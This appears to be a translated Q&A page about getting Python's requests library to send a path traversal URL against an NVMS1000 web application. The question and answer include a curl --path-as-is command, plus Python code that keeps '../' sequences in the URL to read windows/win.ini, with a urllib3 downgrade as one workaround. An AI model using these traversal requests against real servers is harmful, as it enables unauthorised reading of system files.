python - 使用python请求进行路径遍历
问题描述
最近,我想通过 python 请求模块自动攻击一个容易受到路径遍历攻击(NVMS1000)的 Web 应用程序。
通过使用选项 path-as-is,该请求与 curl 完美配合:
curl --path-as-is http://127.0.0.1/../../../../../../../../../../windows/win.ini
但是,当使用 python 请求模块时,从 urlpath 中剥离的“../”(我可以通过 Burp Suite 清楚地看到):
host = "127.0.0.1"
path = "/../../../../../../../../../.."
file = "/windows/win.ini"
url = host+path+file
response = requests.get(url,proxies=proxies)
我检查了文档,但没有找到对此行为的任何解释,也没有找到防止剥离/标准化的选项,类似于 curl 的选项。
平台是debian,请求模块是2.22.0版本
谢谢你的帮助。
解决方案
我知道我迟到了,但考虑降级 urllib3:
pip install --upgrade urllib3==1.24.3
或者更好的是,您应该使用准备好的请求:
my_url = 'http://127.0.0.1/../../../../../../../../../../windows/win.ini'
s = requests.Session()
r = requests.Request(method='GET', url=my_url)
prep = r.prepare()
prep.url = my_url # actual url you want
response = s.send(prep)
推荐阅读
- ios - Websockets 只收到 PONG 响应
- java - System.out.printf 不打印 netbeans 11.2(java) 中的格式
- python - 如何使用 Python 图像库 (PIL) 突出显示部分图像?
- apache-spark - saveAsTable 命令的默认路径是否有 spark 配置?
- python - 多处理策略 - 共享嵌套对象
- scala - Scala JDBC 项目不会在 Docker 容器之外运行?
- java - 通过每个项目的乐观锁定有效地将结果流存储在多个表中
- react-native - React Native 可重用卡片组件不会按预期显示
- c# - 无法在 Azure 中使用系统分配的托管标识使用 blob 存储操作
- python - 如何使用另一个轮廓的大小作为参考来测量轮廓的面积?